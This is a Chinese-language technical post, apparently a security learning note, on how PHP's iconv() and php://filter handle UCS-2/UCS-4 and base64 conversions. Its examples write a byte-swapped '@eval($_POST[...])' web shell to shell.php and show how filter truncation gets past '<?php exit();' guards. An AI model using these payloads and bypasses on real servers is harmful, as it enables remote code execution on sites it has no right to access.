在PHP中,关于编码转换,使用php://filter
和iconv()
进行编码转换有所不同
iconv
基本语法:
1
|
string iconv(string $in_charset, string $out_charset, string $str)
|
参数说明:
$in_charset
: 输入字符编码,即源字符串的编码。
$out_charset
: 输出字符编码,即目标字符串的编码。
$str
: 要转换的字符串。
返回值
- 成功时,返回转换后的字符串
- 失败时,返回
false
php示例代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
$utf8String = "你好,世界!";
$gbkString = @iconv("UTF-8", "GBK", $utf8String);
if ($gbkString === false) {
echo "转换失败";
} else {
echo $utf8String;
echo "\n";
echo $gbkString; // 输出 GBK 编码的字符串
echo "\n";
}
?>
|

官方提到支持的字符编码部分如下
1
2
3
4
5
6
7
8
9
10
|
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
|
usc-2
通过UCS-2方式,对目标字符串进行2位一反转(这里的2LE和2BE可以看作是小端和大端的列子)
1
2
3
|
<?php
echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[ab]);?>');
echo "\n";
|

同理,usc-4
可以理解为:通过UCS-4
方式,对目标字符串进行4位一反转
1
2
3
|
<?php
echo iconv("UCS-4LE","UCS-4BE",'<?php @eval($_POST[abcd]);?>');
echo "\n";
|

所以,在关于UCS-2LE
的转换过程中,被转换对象必须是2的倍数,否则就会报错
1
2
3
|
<?php
var_dump(@iconv('UCS-2LE','UCS-2BE','x?<uc cucvcsa(b;)>?'));
var_dump(@iconv('UCS-2LE','UCS-2BE','x?<uc cucvcsa(b;)>'));
|

php://filter
关于php://filter
的基本知识需要读者自行补充
上述的报错问题,在php://filter
中其实有优化,会截断忽略不满足要求的字符(这里的要求是n的倍数),会截断掉最后余下的不满n倍数的字符串
例如上方最后一个栗子中的var_dump(@iconv('UCS-2LE','UCS-2BE','x?<uc cucvcsa(b;)>?'));
,如果放在php://filter
,会直接截断忽略
1
2
3
4
5
6
7
8
|
<?php
error_reporting(0);
var_dump(iconv('UCS-2LE','UCS-2BE','x?<uc cucvcsa(b;)>?'));
file_put_contents('php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php','x?<uc cucvcsa(b;)>?');
//file_put_contents 可以将第二个参数的内容,放入第一个参数中,第一个参数设置了中间流过滤器
//所以,file_put_contents 将第二个参数的内容按照第一个参数的设置过滤后放入shell.php中
$a = file_get_contents('shell.php');
echo $a."\n";
|

这样的截断忽略在convert.base64-decode
中也有体现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
error_reporting(0);
$strr = "<?php exit();";
$r = preg_replace('|[^a-z0-9A-Z+/]|s', '', $strr);
var_dump($r);
$a1 = base64_decode($r);
file_put_contents('php://filter/write=convert.base64-decode/resource=shell.php',$strr);
$a2 = file_get_contents('shell.php');
$rr = $a1 === $a2;
var_dump($rr);
|
Debug信息:

输出:

所以可知:
1
2
3
4
|
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']); //使得 "<?php exit();" ==> "phpexit"
base64_decode($_GET['txt']);
// 等价于
file_put_contents('php://filter/write=convert.base64-decode/resource=xxx.php',$strr);
|
总结
PHP中,同样是编码转换,php://filter
会截断忽略不满足要求的字符,但是直接使用对应函数,不会智能忽略
所以php://fileter
可以被用来做一些操作,清除或者使得原文件内容不可被识别
Tips
1
2
3
4
|
file_put_contents('php://filter/write=convert.base64-decode/resource=xxx.php',$strr);
//等价于
file_put_contents('php://filter/convert.base64-decode/resource=xxx.php',$strr);
//函数指定之后,可以尝试省略 write read 关键字
|
Ref
https://www.php.net/manual/en/filters.convert.php
https://www.freebuf.com/articles/web/266565.html